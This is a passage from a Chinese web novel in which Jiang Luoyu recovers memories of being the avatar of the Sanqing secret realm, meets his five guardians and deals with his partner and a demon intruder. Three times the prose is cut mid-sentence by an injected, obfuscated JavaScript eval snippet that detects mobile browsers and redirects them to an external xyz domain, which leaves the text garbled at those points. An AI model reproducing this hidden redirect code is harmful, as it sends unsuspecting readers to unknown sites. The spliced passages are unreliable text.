他看见了更多记忆——被二哥养的黑背追得满院子跑,在药辛殿用怪味糖捉弄听风,在姜国写策论写累了趴着睡觉……这些不连续的记忆囊括了他所有人生。 这是他的识海? 但不是只有合体之后,修士的识海才能自成一方天地吗? 姜洛玉在光球中扑腾几下,没找到落脚点,反而被光球裹挟着来到荒原上一处湖泊边。 湖水颜色蔚蓝,和荒原一点都不搭,最中央的颜色近乎变成了黑色,这让他生出被非人生物盯上的错觉。 身后的光球推了推他,姜洛玉向前走了几步,看见湖底被铁链捆锁的巨型光球。 巨型光球和拥簇他的光球区别很大,它的身上印着他没见过的咒文,就连球身的颜色也是不合群的灰色。 他捏住飞到耳边的小光球,轻声道:“你们是想让我下去吗?” 没有人回答,光球在他手心滚了滚。 “噗通、噗通”的心跳声越来越剧烈,他却怎么也不敢跳下去,只好坐在湖岸,把脚放进水里。 十几个光球涌了上来,姜洛玉挨个碰了碰,发现是他这一世在三清秘境里的记忆。 衣不蔽体的孩子、强健却不通人言的妖兽……潺潺流水、不会落叶的树木,这些构成了他五岁之前的所有记忆。 “啪——” 第一个光球破了,一连串响声后,幼时关于三清秘境的所有记忆全都消失了。 姜洛玉福至心灵,眉眼微弯,跳入了幽蓝深邃的湖水里。 落入湖水的孩子身形逐渐拉长,最后定格在青年模样。青年摆动四肢,灵活如游鱼般潜到了湖底,长及脚踝的黑发在湖水中起起伏伏,率先接触到了光球表面。 上面鲜红的咒文开始流动,灰色的光球变得血红,小臂粗细的铁链剧烈抖动。 青年的表情无喜无悲,慢慢将脸贴在光球上,本就俊美明艳的五官生出细微的变化,少了几分柔弱,多了几分……神性。 红色光带陡然出现,连接住青年和光球。 漫长又悠远的记忆如同游子归乡般顺着光带涌入,姜洛玉发出一声长长的叹息。 他自始自终,都是此界之人。 更准确的说,是三清秘境的化身——它真正意义上的主人。 天生混沌、阴阳、天地三清之气,三气又萦绕六界之中,最后汇聚于……神界之间。 三清秘境由此形成,直到神界消亡,三清秘境也跟着分崩离析,仅剩的部分流落到修真界之中。 而他,就诞生在这个过程里。 彼时三清秘境刚在下界安家,他也只是一团三气凝结出来的雾气。 等到万年过后他开了灵智、修出人身,就能带着三清秘境到处跑,再通过修炼飞升回上界。 意外就出现在他开灵智刚开时,那时他根本没有脑子,潜意识里只想早些挣脱“束缚”。 恰逢三清秘境开启,一个木灵根修士检验秘境土壤肥沃和适宜播种程度时,遗漏了一颗生姜种子在他头顶。 在三清秘境里就算是棵草,那也是经过神界熏陶的“神”草。生姜种子的气息与之相比如同星辉对上耀日,非常适合寄生。 于是他一股劲儿,钻进了种子里。 十个月后,他成了婴孩的模样呱呱落地,浑身萦绕着三气还有浓郁的生姜气息。 秘境内幸存的神兽和妖神察觉到秘境之主诞生,匆忙赶到时,天雷已经劈了下来。 三气化境,顺天而为,三气化人,逆天而行。 如果能挺过“天罚”,剩下的便是那一线生机。 但他借助种子生气提前诞生,根本挺不过天劫。等天雷把他劈死,三清秘境没了核心三气,也就失去了和天地之间的联系,同样会消失于世。 赶去的几个神兽和妖神分别是金龙那伽、阴阳九头蛇离昼、火凤红楹,以及双生姐妹三毒断魂草垢姬和星辰续命花凝星。 他们全都诞生于三清秘境,和三清秘境同生共死,见此场景,拼了命地护着他和天道抗衡。 可惜天道无情,却自有法则约束万物。 五人在雷劫追杀之下很快奄奄一息,那伽催动用禁术献祭五人神格暂时屏蔽天道,抽去他的三魂七魄送去人界投胎,这样就能让他的神魂沾染浊气。 待到人界寿数一尽,便能将三魂七魄收回,养在生姜本体里好一番蕴养,诞生后“天罚”的威力就会大大减弱。 可惜人算不如天算,他去往人界投胎时在虚无里碰上灵气乱流,被卷入异世,受其天道限制直接变成了人类婴孩。 这就是他突然出现在孤儿院门口,连监控都无法拍到来处的原因。 那棵会发光的生姜,就是那伽他们呼唤他回去的媒介。 至于他为什么会出现在仙界……是因为天地间仅剩的三清之气,在神界消亡后都跑到了仙界。 天道发现他一个落单的三清之气,虽然气息奇怪点还开了灵智,还是截胡把他直接扔到了仙界。 他依附于媒介在仙界扎根,化形时蕴含法则之力的九道天雷就是天罚。好在他修成人形后就是上仙,才没被劈死。 兜兜转转,三道劫又让他回到了下界,直到第三世,那伽他们才成功唤到他的三魂七魄,让他再次诞生在三清秘境。 然后……他因为召唤仪式出了点差错,神魂不稳野性难驯。 离昼善占卜,借他精血占出渡劫之事,又算出他同丛明雪命格纠缠,只有跟在他身边才能慢慢稳固神魂。 等他长到五岁,还是一副未开化的野兽性子,五人无奈,只好替换了他在三清秘境的记忆,引丛明雪入秘境,找了个借口,把他交给丛明雪抚养长大。 当他再次踏入天地境,就是记忆恢复之时。 “境主、境主?凝星你不是说境主马上就能醒过来吗?” 姜洛玉睁开眼,对着半秃的红楹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795096|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,声音暗哑:“红姨,别来无恙啊。” 红楹一把捂住脑袋,惨叫道:“……啊我还秃着呢!” 姜洛玉扶着床柱坐起,扫过围在床边的五人,以及被铁链锁在椅子上,面露关心的丛明雪,忍不住笑道:“你们趁我昏迷,就这么对待我道侣?” 五人:“……” 糟了,忘记给人松绑了。 手忙脚乱后,众人转移阵地,去了万花殿外的空地,拿出圆桌围坐在一起。 红楹戴好了假发,从储物戒里掏出一盘接一盘的灵食,边掏边感慨:“境主多吃点,这些都是你小时候爱吃的。” 那伽顶着十五六岁的少年脸感慨着:“唉……想当初境主那么小一团,最爱拽着我的鬃毛在天上飞,真是岁月不饶人、呸,龙啊。” “蠢龙你还好意思说!”垢姬捏了把那伽的脸,在上面留下个紫色的指纹,“那时候境主根本受不了刺激,他不懂事就算了,你也跟着闹。” 那伽惊恐地看向垢姬,口齿不清:“毒、毒毒龙了!凝星救、救我啊!” 凝星给姜洛玉夹了块儿雪酥软酪,淡粉色的瞳孔动了动,安抚道:“毒不死,口吃几日药劲儿就过去了。” 那伽:“……” 他将脑袋转向离昼。 离昼放下酒杯,吸去那伽脸上的毒素,行动间腕上的银饰撞击在一起发出脆响,听得姜洛玉一阵恍惚。 过了这么多年,他终于再一次找到回家的感觉了。 在圆桌的遮挡下,他悄悄拉住丛明雪的手,传音道:“阿雪,他们没有太为难你吧。” 五人动作齐齐一僵。 丛明雪沉默一瞬,道:“没有。” 就是把他绑在椅子上问了些问题,包括近些年姜洛玉的经历,以及他们……为何会成了道侣。 从三清秘境带走姜洛玉的时候,五人特意嘱咐他,说姜洛玉体质特殊,最好一心修道。 三气所化之人钟灵毓秀,和其他天地灵物化形之后一样体质特殊,与之双修能排去体内杂质且提升修炼速度,结契之后效果更佳。 他不知“三气”之事,也没细问。只是在姜洛玉知人事之后,把关于体质的事情悉数告知。 那时想着能让姜洛玉在对待感情之事上慎重点,没想到…… 离昼那句“监守自盗”也没骂错。 姜洛玉不知道丛明雪和五人的对话,又道:“他们不知道你也是神界的神君吗?” 这才是他恢复记忆后最奇怪的地方。 “什么?你是神、神神君……” 轰隆一声,天雷劈在了那伽脑袋上。 “那伽叔你没事吧!”姜洛玉扶了一把,被天雷余韵电得闭上嘴。 缓了几秒,姜洛玉满头尴尬:“你们……能听见我的传音啊?” 五人点头,尴尬夹菜。 丛明雪解释道:“我飞升神界之时,诸位前辈早就沉眠于三清秘境不问世事,自然不知我的名讳。” “那你跟脚为何?”垢姬夹了一筷子干煸毒虫。 丛明雪:“野葱。” 毒虫掉在了桌子上。 见无人发言,那伽干巴巴笑道:“哈哈,那和境主……还挺配。” 姜洛玉:“……” 好冷的笑话。 28.穿越第二十八天 诡异的氛围并没能减缓众人落筷的速度。 在两人听不见的地方,五人开始用传音轰炸。 那伽倒吸一口凉气:“这……什么时候野葱能成神了?” 垢姬暗暗翻了个白眼:“蠢龙你瞧不起谁呢?草木成精不易,不代表成不了。你哪只眼睛看见天道不让野葱成神了?” 那伽夹走最后一块水晶糯米七心藕,吼了回去:“你别血口喷人,谁说我瞧不起了?” “我不过是有感而发……你敢说你沉睡之前,见过连凡品都够不上格的草木通过封神试炼?” 垢姬:“那倒没有。” 红楹又补了几盘灵食,扫了丛明雪一眼,淡定道:“他能通过封神试炼,自然是万里无一的天之骄子。就算跟脚差了些,实力摆在那儿,若是真心可靠,不失为良人。总归境主有我们在,又吃不了亏。” 凝星满眼赞同:“楹楹说的不错,最重要的是境主喜欢他。就算真的发现他心怀不轨,也得让他装成一往情深的模样。” 离昼:“……” 他到底该不该说,这两个是天定的姻缘,拆不开也解不散。他刚用开天眼看了一眼,差点被他们两个身上命格缠绕溢出来的红线晃瞎。 看清两人对视时眼里明显的情谊,红楹满脸欣慰,红发一不留神又化作火舌肆虐,沾上了圆桌一角。 涅槃火所到之处,万物寂灭。 没等火势蔓延到地面,凝星的手轻轻抚上烧得通红的桌面,下一秒灵雨从天而降,枯木逢春。 “吃得差不多了,凝星这儿没有议事的地方,去我的阴阳殿吧。”离昼弹了弹银饰上沾到的灵雨,雨丝溅入逐渐长出花草的土地上。 五妖的宫殿位于三清秘境最中心,占据了一整条山脉。 阴阳殿坐落在正中心,宫殿的外表既夸张又华丽,通体漆黑,殿门口的石柱上盘绕着密密麻麻的活蛇。 姜洛玉抓住一条跳出来想撒娇的蛇,摸了摸它的脑袋,打发它回到了柱子上。 小蛇遗憾地吐了吐舌头,僵了一瞬,在某个银发青眼的神君注视下,用尾巴搓去脑袋上的气味儿。 “嘶嘶”声不绝于耳,殿门一开,淡淡的馨香传到众人鼻腔里。 姜洛玉进门的脚步一顿,费解地看着满大殿跑的毒物。 三条尾巴的蝎子,十六条腿的蜘蛛,六只眼睛的蝙蝠,可是他脑子里没有任何关于离昼喜欢养这些毒物的记忆。 离昼黑着脸:“垢姬,你不是说你这些东西不会跑出来么?” “你用阴阳之气把它们喂得太饱了。”垢姬调笑着把毒物装进乾坤袋里,紫眸幽深。 确认大殿里没有其他的毒物后,众人去到偏殿的议事厅一一落座。 姜洛玉当仁不让坐到了主位。 丛明雪看了一圈,坐到姜洛玉身边明显后加的宝座上。 “所以,境主你们为何提前回来?”离昼喝了口童子送来的茶,“按照我的推算,起码再过个几百年,你的神魂才会彻底稳固。” 姜洛玉斟酌着开口:“因为,我恢复全部记忆了。” “噗——” 那伽抹了把龙角上的茶水:“下次注意点。” 离昼:“……” 红楹压制住身上有些失控的涅盘火,惊诧道:“怎么可能?境主你现在不是在渡——” “轰隆、轰隆”。 红楹把“劫”字咽了回去,憋得脸色又红又紫。 该死的天道,只会做些表面功夫,心知肚明的事情还不能直接和渡劫之人提起,只能旁敲侧击打哑谜。 不过渡劫渡一半儿在下界就恢复记忆的,那可是前无古人后无来者啊! 垢姬掰断了食指的长甲,面不改色地喂给乾坤袋里的毒物,冷静分析:“这东西是天道的考验,出了这等差错,大概率是外力所致。” “确是如此,多亏了我去异世走了一遭。”姜洛玉苦笑道。 丛明雪接着补充:“因我二人命格纠缠,我也才能在阿玉之后想起一切。” 红楹终于忍不住了,拍出自己落下来的落羽:“姑奶奶受不了了,这破天……这不让说那不让说,离昼你快开禁术把它屏蔽了。” 离昼收下火凤落羽,摸出自己的巴掌大的鳞片,又朝着那伽拿了龙鳞,最后接过垢姬的草籽和凝星的花粉。 一刻钟后,精致小巧的结界笼罩住整个议事厅。 离昼拍了拍冒出来的八个蛇头,看向姜洛玉,道:“境主,这下可以畅所欲言了。” 姜洛玉关心道:“离昼叔,你们用这禁术会不会太勉强?” 当年为了给他求得一线生机,五人献祭了自己的神格。 没了神格,他们浑身神力也全都反哺了天地,只能从头开始再修一遍。 如今五人修为全都稳固在了渡劫圆满,甚至比渡劫圆满更深不可测,但姜洛玉还是担心他们使用禁术会有损伤。 离昼摇头道:“境主多虑了,最开始不用此禁术屏蔽天机,只是因为它的副作用有碍观瞻。” 八个蛇头齐齐点头,每个蛇头上面都长出了一颗紫色的毒草。 姜洛玉:“……” 他将视线转向其他人。 那伽的头上多出了火红色的冠羽,红楹脸上爬满黑白二色的细密鳞片。 垢姬抚摸眼睛里开出的亮晶晶的小花,凝星对着他露出个笑,吐出一条长长的蛇信。 姜洛玉闭上了眼睛,睁开后一鼓作气,和丛明雪一起把手里已知的线索都说了出来。 “有人趁你下界把神格夺走了?”那伽扯着头上的羽毛,“神格这玩意儿还能被人夺去吗?” 垢姬闭着眼眼,锤了那伽一拳:“别问傻话。神格不能被人夺去,但是里面附带的神力可以。” 那伽:“……你有本事睁开眼睛和我说话。” 丛明雪点头:“我当时过于匆忙,用的是本体下界。不过走的是转生池的里池,不会真的转生,只是压制住修为而已。” “压制修为进行了一半儿,一道黑影攻击过来,我不敌,被那黑影夺去神格打入下界。” “那黑影似乎有勘破命数之能,通过无相球将我和阿玉的命格缠在一起,永生永世困于下界受无尽轮回之苦,每一世都不得善终。” 离昼颔首:“显而易见,那黑影必然是另一位神君。那人剥离神格的动作熟练吗?” 丛明雪:“异常娴熟。” “呵。”离昼嗤笑着,“看来仙界又要不得安宁了。” “现在谈论这些还太早,当务之急还是要先让境主重新与三清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799518|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘境相融。” 姜洛玉紧张地咽了咽口水,撤去身上丛明雪设下的屏蔽气息的法术。 浓郁至极地生姜气息在议事厅炸开。 这就是当初他回三清秘境的契机,而他身上突然冒出生姜气息,是因为记忆觉醒导致神魂异动。 他的神魂又由三清之气构成,神魂异动又影响到了肉身……一连串反应下来,最终的表现就变成了无时无刻不在散发着本体的生姜气息。 其实生姜气息里还有三清之气存在,但一般人闻不到,除非是…… 姜洛玉看了丛明雪一眼,除非是结了契的道侣。 神魂异动和不稳是两个概念,就好比一杯水,神魂不稳是水装在有盖子的杯子里,然后一直左摇右晃搅得天翻地覆也洒不出去。 异动是水装在没盖子的杯子里,没准哪天就杯水两空。 神魂异动说到底是三魂七魄不认可现在的躯壳,躯壳也控制不住魂魄。 他的记忆过于庞大杂乱,魂魄又因记忆觉醒破格成为了仙魂,但新生的肉身只有金丹初期的强度,自然压制不住。 想解决很简单,他这一世充其量来说,只是个诞生在三清秘境的妖修,不算是三清秘境化身。只要他能重新和三清秘境融合,成为秘境之主加固肉身,就能控制住不适配的魂魄。 “那我具体应该怎么做?”姜洛玉没翻到相关的记忆,只好发问。 离昼拿出本泛黄的册子翻了翻,道:“第一步,您需要回归三清秘境的怀抱。” “第二步,您需要得到三清秘境所有生物的认同。” “第三步,也是最关键的一步,您需要和三清秘境天人合一。” 姜洛玉:“……?” 超出他的认知范围了。 阴阳殿议事后,在红楹的带领下,两人来到了早就为姜洛玉建好的浮空殿里。 “境主快看,这是为您打造的云床。”红楹领着两人去往寝殿的部分,眉飞色舞地介绍着殿内的家具。 就是脸依旧是黑白二色。 丛明雪踩上柔软的地毯,环顾毛绒绒的寝殿,神色微妙。 他倒是不知姜洛玉喜欢此类装饰。 姜洛玉笑容僵在脸上,这毛绒绒的装修风格确实是他喜欢的,几乎完全复刻了他在异世姜家最初的卧室。 姜母立志于给家里所有孩子一个毛绒绒的童年,从他大哥一直到他无一例外,童年时期每天入睡时都被满床的毛绒玩偶包围。 可……红姨他们从哪儿来的这东西? 红楹一拍脑袋:“哎,忘记告诉境主了。呼唤你回来后,离昼在你身上发现了异世的气息,于是想方设法追踪过去。咳咳,看见了一些您在异世的经历。” 姜洛玉激动道:“红姨,你们有办法联系上异世?” 红楹能够理解姜洛玉的心情。 他们五人作为诞生于秘境内的天材地宝和神兽,和姜洛玉可以说是心意相通,又加上养育了姜洛玉几年,被他唤了几声“长辈”的称呼,更是在主从关系之上多了几分亲情。 她摸了摸姜洛玉的脑袋,安抚道:“只是单方面的联系,能够看到一些和境主有关的片段。” “境主不必担心,等您登上神位,没准能找到方法,将他们接到此界共享天伦。” 29.穿越第二十九天 “滴答、滴答”。 姜洛玉躺在云床上,盯着左侧从敞开的窗户爬进来的花藤。 粉色的千瓣碧血莲害羞地扒在窗棂上刚想继续攀爬,察觉到一道略显冰冷的视线,瞬间合上了花苞落荒而逃。 “咔哒”,一双骨节分明的手关上了窗,也关上了外面透着寒意的月光。 丛明雪俯下身,替姜洛玉掖好被角,轻声问:“今天的药吃了吗?” “吃了。”姜洛玉答着。 修复神魂的药,自从他在船上醒过来就没断过。 如今想来,在船上强行超度怨魂能够成功,很大一部分原因是因为他其实是个三清之气。就算沾染上浊气,本质也没变,超度个怨魂不在话下。 就肉身的状态发挥不出全部实力,才反噬得这么厉害,再加上神魂异动就更狼狈了。 “好好休息。”丛明雪挥灭屋内的照明法宝,隐入黑暗中。 姜洛玉拽住丛明雪的衣角:“你去哪儿?” 丛明雪:“打坐。” “哦,那你去吧。”姜洛玉打了个哈欠,头脑昏沉。 “不……留我一下吗?” 冷香飘了过来,姜洛玉破天荒地开始思考这味道的构成,很淡,不甜,钻入鼻腔的时候就像是吸入了一捧雪,又似乎是抱住了悬崖上的风。 风更大了。 “啵”得一声后,掖好的被角散开皱在一起,衣料摩擦声在寝殿里响起。 “等、等下……”姜洛玉侧头避开还要凑过来的人。 “为何?”丛明雪撑起身子,语气带着微不可察的隐忍,“是不舒服吗?” 他揉了揉青年发红的眼尾,情不自禁地又在唇上亲了一下。 功法压制了长达几万年的的情绪如海啸般奔涌而出,又全都倾注到了一个人身上。他从幻境出来后几乎要被血液里奔流的情感逼疯,想把人揉碎了融进骨血里。 费尽心思克制,也只能压制到如此。 “当然不是。”姜洛玉摇头,“我只是觉得你有些奇怪。” “我似乎能感受到你的情绪。” 他认真感受了一下,有些不确定:“你想……吃了我?” 丛明雪微微瞪大双眼,立马否认:“不是的。” 姜洛玉摸了摸头顶,羞赧道:“还有,我好像发芽了。” 丛明雪打开照明法宝,和姜洛玉头顶的一寸高的姜苗对视。 最上方还有一朵嫩绿色的花苞,羞答答地耷拉着脑袋。 姜洛玉拍了一下丛明雪想碰花苞的手,脸颊发热:“别碰,好奇怪。” “不会。”丛明雪根本没听清姜洛玉说了什么,如愿以偿摸到了花苞。 “可是我怎么突然开花了?”姜洛玉百思不得其解,脑袋里划过什么东西。 花?七宝莲台?!无相球和苗真他们还在阴阳境! 他倒是能把无相球直接叫回来,可里面的人…… 阴阳境。 苗真再一次敲了敲无相球的结界,有气无力道:“祖宗,你就放我们出去吧,我真的要吐了。” 无相球:“不放,主人很安全,我现在的职责是保护你们。这秘境不对劲儿,你们如今的修为出去肯定死。” “还有——不!许!吐!” 苗真惨白着脸靠在莲子上,天旋地转。 朱轻竹翻了翻储物戒,掏出个布口袋递过去:“吐吧,吐完一个火术就没了。” 苗真:“……” 李角接过布袋,拍了拍苗真的背:“少主您忍一下,恕属下无能。如今许胜已经盯上我们了,不知何时还会找上来。此番许家从第二通道进入秘境之人全都是本家的精英,有不少还是特意压制了修为的。” “许胜身上的变化绝对不是我们能抗衡的。” 朱轻竹十分赞同:“李前辈说的对,你就老实呆着吧。” 无相球继续穿梭在白山黑水之间,试图找到去往天地境的路。 它能感受到主人就在里面。 “无相。” 一道雪白的影子从光门里走出。 “神、仙尊!你终于来了呜呜呜……”无相球哭了一半儿,终于反应过来,“您恢复记忆啦?” 丛明雪“嗯”了一声,扫过七宝莲台里的三人,扔了枚储物戒过去,淡淡道:“因果已尽,里面有三道剑气和法宝,足够你们活到离开秘境。” 说完抽走无相球,将三人送到了天地境里。 无相球恢复原状在丛明雪上下蹦跳着,兴奋道:“仙尊,我完成您的任务了!没有在您失忆的时候出现在您面前。” “做得不错。”丛明雪摸了摸无相球,默念咒语两指一捏,从无相球体内抽出了一丝神魂。 神魂刹那归位,丛明雪葱绿色的眸子闪了闪。 无相球:“仙尊,您早知道自己会失忆吗?” “嗯。”丛明雪把飞到自己头顶的无相球推到脑袋中央,“事急从权,我当时不知黑影将我二人命格相缠,唯恐就此失联于下界,才分裂一丝神魂送进你体内。” 无相球懵懂道:“那仙尊为何不让我在你面前露面?” 丛明雪跨入光门:“神魂共振,却是一天一地,我会变成疯子。” “只有完全恢复记忆,三魂七魄也成了神魂,才能安然无恙。” 一念之间,缩地千里。 丛明雪来到了云宫之外,看见云宫殿外爬满的花藤,上面的千瓣碧血莲开得分外热烈。 这东西的香味儿能够安抚神魂,入药又能祛除心魔,在外面一朵千金难求,在这儿这是装饰用的花朵罢了。 丛明雪嗅到了区别于千瓣碧血莲的淡雅清香。 “师尊……” 姜洛玉躺在云床上发出自己也辨别不出内容的呢喃,连坐起来的力气都没有了,整个人轻飘飘的。 他摸了把头顶的花苞,发现不知何时竟然开花了。 云床附近多了一抹白影,久违的凉气从丛明雪身上传来。 他靠在银发神君怀里,拽了把垂落的银丝,声音含糊不清:“好难受……修士体内也有白细胞在工作吗?” 丛明雪抱紧了怀里的人:“会有的。别睡,我带你去找凝星前辈。” 姜洛玉把脸埋到丛明雪胸口,闷声说:“好啊,星姨应该还在钻研医术。” “那你还想……吃我吗?” 丛明雪抱着人出了云宫,听见此话有些无奈,只好道:“不是想吃你。” “等你清醒之后我再同你说。” “不要。”姜洛玉吹到凉风恢复些力气,勾着丛明雪的脖子在上面咬了一口,“你现在就告诉我,我很清醒。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804570|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >光洁的脖颈上连个印子都没留下。 无相球跳到姜洛玉脑袋上,兴奋道:“主人,好想你呜呜呜……半日不见如隔一点五秋。” “别吵,回去和玄衣玩儿。”姜洛玉把无相球塞回丹田,屏蔽它和外界的感知。 丛明雪捉住姜洛玉还想在他身上作乱的手,设下护身结界。一边朝着凝星所在的百花殿赶去,一边解答着姜洛玉的问题。 “天道无情,但我修习‘天道’,并非为了取而代之。等到已臻化境,就能成为天道代言人。” “是因为万妖窟吗?”姜洛玉一下一下拍着丛明雪的后背。 丛明雪恍惚一瞬,道:“是又不是,万妖窟做的只是点醒我。” “我与天道最大的区别在于我做不到真正‘无情’。只要我还处在万物之间,就会对它们产生影响。” “但我欲参悟‘天理’之心不改,于是自创《天剑诀》。修此功法,会抽离我对世间万物的情绪感知,降低我与万物间的‘因果’。 “等到抽离积压的情绪积攒到了极限,再寻一个契机释放。若是依旧能保持初心,此道才算彻底修成。” “天道代言人的根本在‘人’,丢了人性天道不会承认。” “那你是天道代言人了吗?”姜洛玉听得云里雾里。 丛明雪:“不是,但……我的情绪已经释放出去了。” 姜洛玉:“你寻到契机了,什么时候?” “今天。” 姜洛玉掐了把大腿,脑子清醒些:“……我?” “嗯。你感受到的,是我压抑了几万年的情绪变成的爱意。” “不是想吃你,是想一直和你在一起。” 姜洛玉在最后一句话里,听出了委屈的意味。 百花殿。 凝星打了个哈欠,聚精会神地观察着新嫁接的两种灵草。 “星姨……救救我。” 凝星一激灵,剪断了刚接好的灵草。 她看向殿外两人,连忙道:“境主?快把人抱去我的药室!” 一刻钟后。 凝星观察着姜洛玉头顶精神百倍的小白花,又打量一番姜洛玉整个人的状态,结合刚才用灵丝诊断的内容,严肃道:“境主,你是到成熟期了。” 满身银针的姜洛玉:“……?” “但凡是妖修都会有成熟期啊,境主你这个表情做什么?”凝星拔下姜洛玉身上的银针,又给他灌了一剂汤药。 姜洛玉:“……可我在上面没有过成熟期。” 成熟期粗俗点说就是发情期,每个妖修一般情况下,一辈子都会经历一次。 凝星咳了咳:“那是因为境主情况特殊,两情相悦,情到浓时自然会……” 姜洛玉面皮一红,头顶的小白花晃了晃。 凝星:“根据境主您的身体情况来看,目前解决方法有两种。” “第一,找人双修,一次就能解决。” “第二,靠灵药压制,得持续七天。” 丛明雪眼皮跳了跳,不假思索:“第二种。” 姜洛玉:“……?” 他顾不上脑子还晕着,指着丛明雪难以置信道:“你什么意思?” 就这么不想和自己双修? 丛明雪闭上眼,从牙缝里挤出几个字:“我……不举。” 30.穿越第三十天 百花殿骤然死寂。 姜洛玉脑子“嗡”得一声,头上的小白花耷拉下去。 他在丛明雪下三路来回扫视,满脸崩溃,无法接受自己板上钉钉的道侣,居然……不举。 现世,当同班的男同学开始欣赏女孩子的身体曲线,并且试图发展进一步的关系时,他的心里只有学习。 当他开始欣赏男性的身体时,他就明白,自己大概是个同性恋。 再后来,搞清所谓“圈子”里的腌臜事,姜洛玉三观重启,远离人群开始追求极限运动带来的肾上腺素飙升的绝顶快感。 他在异世吸收了“浊气”里夹杂着的七情六欲,那些东西在二十年里促成了现在的他。 说到底,他其实是个享乐主义者。 现在……姜洛玉开始思考自己要不要为了和谐生活努力一下。 在两人的注视下,丛明雪艰难地把话说完:“……功法所致,并非天生。” “我需要时间才能恢复如初。” 姜洛玉头上的小白花重新竖了起来。 凝星闻言拿出银针,道:“既然如此,那境主先在我这儿待上七天,我好随时观察他的反应,为他调整药方。” 姜洛玉遗憾道:“好吧。” 说完又扫了一下丛明雪。 丛明雪如坐针毡,被那灼热又透着幽怨的视线盯得十分不自在,耳尖红了又红。 《天剑诀》最大的副作用,就是伴随情绪的抽离直接灭掉人欲,本来释放情绪后,欲望也会逐渐变得正常。 这个过程外界无法干预,只需要半年时间。本来他打算找个合适的机会再向姜洛玉坦白,没想到阴差阳错…… 凝星捣完草药,对着大门做了个“请”的手势:“药辛,你在这儿会对境主产生影响,我不好确定缓解成熟热的草药。” “这几天你先去离昼那儿帮忙,秘境里飞进来一只小虫子,他正头疼呢。” “好。”丛明雪点头,转身的时候心尖一颤,回头果然看见姜洛玉红着眼睛看着自己。 姜洛玉吸了吸鼻子,抬手遮住通红的眼眶:“你去吧,我这儿有星姨在你不用担心。” 这成熟期也太丢人了,只是想到丛明雪要离开他的视线,心口就堵得慌,眼泪也跟着流了下来。 “好了境主,人已经走了。” 姜洛玉这才放下手臂,接过又一碗黑漆漆的汤药,问:“星姨,秘境里怎么了?” 凝星处理草药的动作一顿:“也不是什么大事,进来一个夺舍的老魔。那老东西有点能耐,现在正在阴阳境兴风作浪呢,想要将三清秘境收入囊中。” “不过不成气候。” 姜洛玉:“那老魔是不是夺舍了一个练气少年?” 凝星:“您怎么知道?” “来的路上从他手里救下个人。”姜洛玉一口干了药汁,辣得眼睛都红了,“既然不成气候,离昼叔为何头疼?” 凝星:“因为那老魔手里拿着魔器,就算那魔器再低级,对如今的我们来说都要谨慎对待。” “得从长计议。” 又是魔器。 姜洛玉喝下第二剂汤药后,身上的热度退下一半,把在天正宗也遇到魔器的事情说了一遍。 他们刚才在阴阳殿谈话的时候,只挑了关键的东西复盘了一下,细枝末节的事并没有面面俱到。 “魔界近些年动作不断啊。”凝星叹息着,“神界消失后,总感觉好日子快到头了。” 姜洛玉:“你们都没提及过……为何消失,是不能说吗?” 凝星:“不能,说了会被尚未消失的阴影追赶上。” “然后砰得一声,死无全尸。” “境主不要想太多,天塌了自有个高的人顶着。”凝星像对待五岁的姜洛玉一样,揉了揉他的脑袋。 发璇长出来的小白花左右晃了晃。 阴阳殿。 丛明雪被毒物化成的童子引进书房后,看见站在近百面水镜前的离昼。 离昼将其中一面水镜放大,指了指上面的癞脸少年:“看这个。” 丛明雪:“许胜。” 离昼诧异道:“你认识他?不过这副躯壳的身份重要。” 水镜里的癞脸少年眼中划过一丝怨毒,还有微不可察的红光。 “如今藏在这副躯壳里的,是魔界臭名昭著的老魔,曾经的三十六魔君之一——乌吉纳。” 丛明雪:“我在古籍上见过他的名讳,可那批三十六魔君不是被魔尊全都斩杀了吗?” 还是那种挫骨扬灰、魂飞魄散的杀法。 离昼把水镜放到最大,语重心长道:“年轻人少看点古籍。” 丛明雪:“……” 离昼:“都是些唬人的东西。魔界编撰史书的魔官也不长点脑子,就算那墨危楼天资卓绝,三千年登上了魔尊之位,一夕间斩杀三十六试图谋反的魔君也是天方夜谭。” “对了,你过来做什么?是境主出什么事了吗?” 丛明雪眼神飘忽不定:“阿玉到了成熟期,正在凝星前辈那处压制。我待在百花殿不利于凝星前辈试药,她就让我过来帮您处理‘小虫子’。” 离昼若有所思。 丛明雪注视着水镜里行为癫狂的少年,转移话题道:“那真相是什么?” 离昼:“真相是墨危楼从我这儿用龙角交换,拿了一批毒,设宴的时候把三十六魔君毒晕,再一个个抽出三魂七魄慢慢磨死。” “乌吉纳因为功法原因逃出了一半残魂到下界,墨危楼觉得他能逃出去也算有点运道在身上,于是打算放他一马,让他休养生息再过来找自己报仇。” 